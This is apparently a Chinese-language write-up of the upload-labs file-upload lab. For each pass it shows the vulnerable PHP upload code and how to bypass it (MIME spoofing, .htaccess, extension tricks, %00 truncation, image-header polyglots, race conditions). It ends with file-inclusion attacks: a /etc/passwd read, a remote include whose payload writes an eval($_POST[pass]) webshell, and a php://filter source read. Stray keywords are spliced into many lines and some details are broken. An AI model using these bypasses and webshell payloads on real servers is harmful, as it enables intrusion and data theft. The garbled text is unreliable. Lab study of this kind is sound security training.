function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("請選擇要上傳的文件!"); return false; } //定義容許上傳的文件類型 var allow_ext = ".jpg|.png|.gif"; //提取上傳文件的類型 var ext_name = file.substring(file.lastIndexOf(".")); //判斷上傳文件類型是否容許上傳 if (allow_ext.indexOf(ext_name + "|") == -1) { var errMsg = "該文件不容許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型爲:" + ext_name; alert(errMsg); return false; } }
前端JS校驗,沒啥總結的。就比如網上購物,沒收到貨就確認收貨了。至於最後收到啥東西誰也不知道。php
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上傳出錯!'; } } else { $msg = '文件類型不正確,請從新上傳!'; } } else { $msg = UPLOAD_PATH.'文件夾不存在,請手工建立!'; } }
$_FILES['upload_file']['type']
獲取上傳文件的MIME類型。$_FILES官方解釋:html
其實是根據http請求中的content-type
字段定義的
MIME白名單image/jpeg、image/png、image/gif。
一是能夠直接上傳php文件(jsp[java]、asp(IIS)沒用哈,不會被解析),抓包修改請求頭中的content-type
二是修改文件後綴.php->.jpeg/.png/.gif之一,而後再抓包把後綴修改爲.php(content-type根據上傳文件的後綴自動變化)前端
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//刪除文件名末尾的點 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //轉換爲小寫 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; //$file_ext是通過strrchr函數洗禮過的,因此apache解析漏洞無論用 if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上傳出錯!'; } } else { $msg = '不容許上傳.asp,.aspx,.php,.jsp後綴文件!'; } } else { $msg = UPLOAD_PATH . '文件夾不存在,請手工建立!'; } }
$deny_ext
變量定義了上傳類型黑名單數組,而後後面一些列操做(什麼去文件末尾的點啊,去除空格啊,去除::$DATA
啊,轉換爲小寫啊)都是提取上傳文件後綴名的標準且必要
的操做。而後利用in_array函數判斷上傳的文件後綴是否在黑名單中,不在的話就重命名文件。
因此
1..htaccess
無論用,由於雖然沒在黑名單中,可是上傳後被命名爲XXXX.htaccess
2.Apache解析漏洞無論用(test.php.aaa文件.aaa後綴apache不認識會被看成php文件解析),由於strrchr
取得是.
最後出現的位置也就是.aaa。重命名後就是xxxx.aaa。(詳見代碼註釋)
突破點就是:java
這是服務器端apache/conf/httpd.conf的配置文件,圈出來的文件會被看成php解析。而.php3和.phtml沒有在黑名單中。linux
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//刪除文件名末尾的點 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //轉換爲小寫 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空 if (!in_array($file_ext, $deny_ext)) { //檢測仍是用$file_ext檢測的 $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; //這裏拼接文件路徑(文件名)的變量是file_name,能夠上傳test.php.aaa(apache解析漏洞) if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上傳出錯!'; } } else { $msg = '此文件不容許上傳!'; } } else { $msg = UPLOAD_PATH . '文件夾不存在,請手工建立!'; } }
前端顯示的源碼是錯誤的,實際的源碼沒有對白名單文件進行重命名。
與Pass-03不同的地方是$img_path
變量在拼接的時候用的是$file_name
變量(Pass-03用的是$file_ext
),體會一下。
因此一種是網上大多數使用的上傳.htaccess(沒在黑名單中且未對白名單文件重命名)內容是AddType application/x-httpd-php .jpg
而後再上傳一個.jpg文件(含php內容)就能夠把.jpg看成php解析shell
.htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。經過.htaccess文件,能夠實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、容許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能IIS平臺上不存在該文件,該文件默認開啓,啓用和關閉在httpd.conf文件中配置。
第二種方法直接上傳test.php.xxx
,其中xxx可隨意設置成apache不認識的稀有文件名,它能夠幫咱們繞過檢測,可是最後在拼接的時候又使用的test.php.xxx,最後被看成test.php解析。得益於代碼寫的好(詳見代碼註釋)。apache
第三種方法是上傳test.php. .
(php後面加上點空格點)。deldot不是自帶函數,打開代碼審計工具查找deldot函數以下:數組
<?php function deldot($s){ for($i = strlen($s)-1;$i>0;$i--){ $c = substr($s,$i,1); if($i == strlen($s)-1 and $c != '.'){ return $s; } if($c != '.'){ return substr($s,0,$i+1); } } } ?>
能夠看到test.php. .
通過deldot的洗禮後去掉最後一個點,保留了test.php.
。而後是strrchr
函數洗禮後就是. (空格)
能夠看到空格的做用就是保護空格前的.
不被deldot刪除掉。而後是strtolower、str_ireplace函數,最後trim函數刪掉空格。因此$file_ext只剩一個點了,幫咱們經過黑名單過濾。
最後拼接文件路徑(文件名)的時候又是使用函數處理前的$file_name變量安全
window系統自動把文件名後面的.點
、空格
自動刪除掉
其實和第二種方法差很少,只是沒有配合apache解析漏洞(window去除空格、點後直接看成php解析),固然也能夠結合使用(test.php.aaa. .
)服務器
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//刪除文件名末尾的點 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //轉換爲小寫 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 //05/06/07/08關在上面四行代碼依次一關少一句 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上傳出錯!'; } } else { $msg = '此文件類型不容許上傳!'; } } else { $msg = UPLOAD_PATH . '文件夾不存在,請手工建立!'; } }
Pass-05關缺失的代碼: $file_ext = strtolower($file_ext); //轉換爲小寫 沒有這行代碼可以使用大小寫如.Php/.PHp/.pHP等等來繞過黑名單。這些文件照樣被看成php文件執行 Pass-06關缺失的代碼: $file_ext = trim($file_ext); //首尾去空 抓包增長空格。window和linux系統文件名後綴都會自動過濾空格 Pass-07關缺失的代碼: $file_ext = strrchr($file_name, '.'); 抓包增長點。window系統文件名後綴都會自動過濾點 linux環境下也可增長點再上傳,linux下不會過濾文件名最後的點 Pass-08關缺失的代碼 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA linux可直接上傳test.php::$DATA文件 window環境上傳的時候抓包修改
Windows下NTFS文件系統的一個特性,即NTFS文件系統的存儲數據流的一個屬性 DATA 時,就是請求a.asp
自己的數據,若是a.asp 還包含了其餘的數據流,好比a.asp:lake2.asp
,請求a.asp:lake2.asp::$DATA
,則是請求a.asp
中的流數據lake2.asp
的流數據內容。
NTFS文件系統包括對備用數據流的支持。這不是衆所周知的功能,主要包括提供與Macintosh文件系統中的文件的兼容性。備用數據流容許文件包含多個數據流。每一個文件至少有一個數據流。在Windows中,此默認數據流稱爲:$DATA
。
Pass-09和Pass-04代碼同樣,只是黑名單不同(09加了.htaccess)。因此方法1無論用,方法2/3依舊管用。
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上傳出錯!'; } } else { $msg = UPLOAD_PATH . '文件夾不存在,請手工建立!'; } }
能夠看到$file_name = str_ireplace($deny_ext,"", $file_name)
,直接刪除黑名單中的內容。可是這個代碼兇起來連文件名的內容也刪,這讓我想起以前看的文章說不要試圖修改用戶的輸入,直接禁止就行。
由於str_ireplace函數只使用了一次。直接使用雙寫繞過就行test.pphphp
,由於php名字特殊,雙寫插入位置就有講究了。爲何不使用test.phphpp
自行理解。
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上傳出錯!'; } } else{ $msg = "只容許上傳.jpg|.png|.gif類型文件!"; } } ?>
$file_ext
變量一頓花裏胡哨的操做獲取文件名後綴,並設置白名單(jpg、png、gif)。因此在文件名上作文章是不行了。關鍵是以下代碼
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext //$_GET和以前的$_POST差很少,主要是能夠進行抓包修改,是能夠注入的。而後經過 move_uploaded_file($temp_file,$img_path)函數利用 %00截斷
截取的數據包,把標記的內容修改爲../upload/test.php%00
。這樣實際是將1.jpg的內容移動到test.php文件中了。
由於$img_path
變量是../upload/test.php%00xxx.jpg。在php版本<5.3.4且magic_quotes_gpc=off時
以上爲服務器phpinfo中的信息。../upload/test.php%00xxx.jpg
會被認爲../upload/test.php
而後利用move_uploaded_file函數將臨時路徑下的jpg文件內容寫入../upload/test.php中
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上傳失敗"; } } else { $msg = "只容許上傳.jpg|.png|.gif類型文件!"; } }
與Pass-11不同的地方是Pass-12利用$_POST
獲取save_path
,此參數也是可注入的。只是修改的地方和Pass-11不同,Pass-12在Hex數據流中修改(Hex將報文中的字符所有轉換成16進制)
$_GET
$_POST
%00和0x00截斷
原理都是同樣的,都是利用16進制的00截斷原理 。
Pass-11中對url進行解碼。將%00解碼成0x00
,而Pass-12中沒有url解碼這一步,直接在hex的值中修改。造成0x00截斷。
function getReailFileType($filename){ $file = fopen($filename, "rb"); $bin = fread($file, 2); //只讀2字節 fclose($file); $strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg'; break; case 13780: $fileType = 'png'; break; case 7173: $fileType = 'gif'; break; default: $fileType = 'unknown'; } return $fileType; } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $file_type = getReailFileType($temp_file); if($file_type == 'unknown'){ $msg = "文件未知,上傳失敗!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上傳出錯!"; } } }
Pass-13源碼中利用getReailFileType
函數中fread
函數讀取文件開頭兩個字符,並利用unpack
函數將字符轉換成ascii碼值,最後用intval鏈接取整(值爲$typeCode
)。
而後判斷$typeCode
爲255216(0xff,0xd8)
、13780(0x89,0x50)
、7173(0x47,0x49)
,以下圖是三種文件類型的文件頭標識
JPG
PNG
GIF
隨便上傳個什麼後綴的文件(反正源碼中最後會對$img_path
從新修改後綴),以下:
本例用的txt文件,第一行內容是空格+P(隨便兩個字符就行,由於空格hex值是20-對應的ascii是32
,便於在後續burp抓包中查找修改。固然也能夠輸入兩個以上的字符,由於源碼中只提取前兩個字符。)
而後上傳、抓包:
在Hex中修改數據:
上傳成功後通過源碼中的$img_path
變量將文件名修改爲對應的jpg、png、gif後綴,因此須要經過文件包含
去解析漏洞:
該實驗中專門提供了個include.php
function isImage($filename){ $types = '.jpeg|.png|.gif'; if(file_exists($filename)){ $info = getimagesize($filename); $ext = image_type_to_extension($info[2]); if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上傳失敗!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上傳出錯!"; } } }
本Pass主要利用isImage
函數來判斷上傳的文件是否是圖片類型(不只僅是三種常規類型圖片)。來看看isImage
函數幹了什麼事情:
首先利用getimagesize
函數檢測文件類型。getimagesize
函數返回結果:
Array ( [0] => 350 [1] => 318 [2] => 2//其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM [3] => width="350" height="318" [bits] => 8 [channels] => 3 [mime] => image/jpeg )
而後利用image_type_to_extension
函數對getimagesize
函數返回的數組索引2(Array[2]
)做後綴名轉換,最後用stripos
函數檢測image_type_to_extension
函數返回的結果是否在變量$types
白名單中。
因此關鍵就是getimagesize
函數,它的工做原理是什麼,什麼樣的文件會讓它返回的數組的索引 2 爲"白名單數字",怎麼樣去繞過它?
因此getimagesize
函數不是絕對安全的,關鍵看怎麼去使用它。對於本Pass只檢測getimagesize($file)[2]
的值,其繞過方式和Pass-13類似。只是文件頭多保留幾位罷了。
JPG:對於JPG文件保留的文件頭標識就多一些了(10行左右),能夠直接在JPG文件都加php木馬,可是會有以下錯誤。PNG:89 50 4e 47 0d 0a 1a 0a(能夠抓包修改hex,也能夠找個真png,用編輯器打開,將文件頭標識後面的內容替換成php木馬就行)
GIF:GIF89a(直接在文件頭加入,也能夠抓包修改hex:47 49 46 38 39 61)
這是JPG由於文件內容有干擾PHP解析的數據出現,後刪除部份內容上傳後成功。
function isImage($filename){ //須要開啓php_exif模塊 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上傳失敗!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上傳出錯!"; } } }
本Pass中使用的是exif_imagetype
函數來檢測上傳的文件是否爲圖片,其返回值和Pass-14中getimagesize
函數返回值的索引2是同樣的,官方文檔以下:
因此步驟也和Pass-14一致,只是對於JPG文件的表示頭檢測只用保留前面一行就行。(不肯定)
$is_upload = false; $msg = null; if (isset($_POST['submit'])){ // 得到上傳文件的基本信息,文件名,類型,大小,臨時文件路徑 $filename = $_FILES['upload_file']['name']; $filetype = $_FILES['upload_file']['type']; $tmpname = $_FILES['upload_file']['tmp_name']; $target_path=UPLOAD_PATH.'/'.basename($filename); // 得到上傳文件的擴展名 $fileext= substr(strrchr($filename,"."),1); //判斷文件後綴與類型,合法才進行上傳操做 if(($fileext == "jpg") && ($filetype=="image/jpeg")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上傳的圖片生成新的圖片 $im = imagecreatefromjpeg($target_path); if($im == false){ $msg = "該文件不是jpg格式的圖片!"; @unlink($target_path); }else{ //給新圖片指定文件名 srand(time()); $newfilename = strval(rand()).".jpg"; //顯示二次渲染後的圖片(使用用戶上傳圖片生成的新圖片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagejpeg($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上傳出錯!"; } }else if(($fileext == "png") && ($filetype=="image/png")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上傳的圖片生成新的圖片 $im = imagecreatefrompng($target_path); if($im == false){ $msg = "該文件不是png格式的圖片!"; @unlink($target_path); }else{ //給新圖片指定文件名 srand(time()); $newfilename = strval(rand()).".png"; //顯示二次渲染後的圖片(使用用戶上傳圖片生成的新圖片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagepng($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上傳出錯!"; } }else if(($fileext == "gif") && ($filetype=="image/gif")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上傳的圖片生成新的圖片 $im = imagecreatefromgif($target_path); if($im == false){ $msg = "該文件不是gif格式的圖片!"; @unlink($target_path); }else{ //給新圖片指定文件名 srand(time()); $newfilename = strval(rand()).".gif"; //顯示二次渲染後的圖片(使用用戶上傳圖片生成的新圖片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagegif($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上傳出錯!"; } }else{ $msg = "只容許上傳後綴爲.jpg|.png|.gif的圖片文件!"; } }
源碼中使用imagecreatefrom...
函數對圖片文件進行二次渲染。該函數調用了PHP GD庫(GD庫,是php處理圖形的擴展庫),對圖片進行了轉換
。
將一個正常顯示的圖片,上傳到服務器。下載被渲染後與原始圖片對比
,在仍然相同的數據塊
部份內部插入Webshell代碼,而後上傳。
對於GIF找到一個payload,對於JPG和PNG就要複雜些了。參考
$is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = UPLOAD_PATH . '/' . $file_name; if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只容許上傳.jpg|.png|.gif類型文件!"; unlink($upload_file); } }else{ $msg = '上傳出錯!'; } }
本Pass解除了利用文件包含漏洞,仔細讀代碼發現源碼中先判斷move_uploaded_file
函數是否執行成功,而後再判斷上傳的文件後綴名是否在白名單中,若是不在白名單中則用unlink
函數刪除文件。
能夠經過條件競爭
的方式在unlink函數執行以前訪問上傳文件。
burp suite抓上傳info17.php文件的數據包,進行大量重放:
因此咱們使用多線程併發的訪問
上傳的文件,總會有一次在上傳文件到刪除文件這個時間段內訪問到上傳的php文件
,一旦咱們成功訪問到了上傳的文件,那麼它就會向服務器寫一個shell。
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { require_once("./myupload.php"); $imgFileName =time(); $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName); $status_code = $u->upload(UPLOAD_PATH); switch ($status_code) { case 1: $is_upload = true; $img_path = $u->cls_upload_dir . $u->cls_file_rename_to; break; case 2: $msg = '文件已經被上傳,但沒有重命名。'; break; case -1: $msg = '這個文件不能上傳到服務器的臨時文件存儲目錄。'; break; case -2: $msg = '上傳失敗,上傳目錄不可寫。'; break; case -3: $msg = '上傳失敗,沒法上傳該類型文件。'; break; case -4: $msg = '上傳失敗,上傳的文件過大。'; break; case -5: $msg = '上傳失敗,服務器已經存在相同名稱文件。'; break; case -6: $msg = '文件沒法上傳,文件不能複製到目標目錄。'; break; default: $msg = '未知錯誤!'; break; } }
myupload.php:
$is_upload = false; $msg = null; if(!empty($_FILES['upload_file'])){ //檢查MIME $allow_type = array('image/jpeg','image/png','image/gif'); if(!in_array($_FILES['upload_file']['type'],$allow_type)){ $msg = "禁止上傳該類型文件!"; }else{ //檢查文件名 $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; if (!is_array($file)) { $file = explode('.', strtolower($file));//strtolower轉換爲小寫,避免大小寫 }//explode函數用'.'分割字符串,返回數組 $ext = end($file); $allow_suffix = array('jpg','png','gif'); if (!in_array($ext, $allow_suffix)) { $msg = "禁止上傳該後綴文件!"; }else{ $file_name = reset($file) . '.' . $file[count($file) - 1]; $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $msg = "文件上傳成功!"; $is_upload = true; } else { $msg = "文件上傳失敗!"; } } } }else{ $msg = "請選擇要上傳的文件!"; }
文件命名規則:$file_name = reset($file) . '.' . $file[count($file) - 1];
reset():將內部指針指向數組中的第一個元素,並輸出。
end():將內部指針指向數組中的最後一個元素,並輸出。
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];若是save_name不爲空則file爲save_name,不然file爲filename
if (!is_array($file))判斷若是file不是數組則以'.'分組
咱們POST傳入一個save_name列表:['info20.php', '', 'jpg'],此時empty($_POST['save_name']) 爲假則file爲save_name,因此由$ext = end($file);爲jpg能夠經過後綴名判斷(判斷結束後最後一個元素jpg彈出),而且最終文件名組裝爲upload20.php.
經過上傳一個php文件,原始的數據包以下:
由於源碼中是先檢測Content-Type,因此要修改。
因此關鍵就是count函數,在上圖傳輸的數據包中count(save_name)是等於2的。
遠程包含和本地包含沒有區別,不管是哪一種擴展名,只要遵循PHP語法規範,PHP解析器就會對其解析
條件:
1.allow_url_include=On,容許include[_once]()、require[_once]()
函數的使用
2.allow_url_fopen(),容許遠程文件包含
其中test.txt(後綴名也能夠是其餘後綴名,都會被看成php解析)文件內容是:
<?php echo "hello world"; ?> 固然也能夠是其餘內容,如: <?php phpinfo(); //顯示php配置等信息 ?>
只要文件內容符合php語法規範,任何擴展名均可以被php解析,若是文件內容不符合php語法規範,會顯示源碼.
上圖中http://127.0.0.0.1/hackable/uploads/test.txt
爲傳遞到include
函數中的參數
文件包含攻擊方式:
1.讀取敏感文件(條件:相應文件存在且有權限)
http://www.xxx.com/index.php?page=/etc/passwd
2.遠程包含shell(條件:遠程包含(allow_url_fopen)開啓)
http://www.xxx.com/index.php?page=http://127.0.0.1/hackable/uploads/test.txt test.txt文件內容爲: <?fputs(fopen("shell.php","w"),"<?php eval($_POST[pass]);?>")?>
訪問後將會在index.php所在的目錄下生成shell.php,內容爲<?php eval($_POST[pass]);?>
3.本地包含配合文件上傳(條件:提供文件上傳功能且一句話木馬圖片已上傳)
圖片上傳路徑爲/uploads/test.jpg
,代碼爲:
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[pass]);?>")?>
訪問http://www.xxx.com/index.php?page=./uploads/test.jpg
,訪問後將會在index.php所在的目錄下生成shell.php,內容爲<?php eval($_POST[pass]);?>
4.php://filter/read=convert.base64-encode/resource=config.php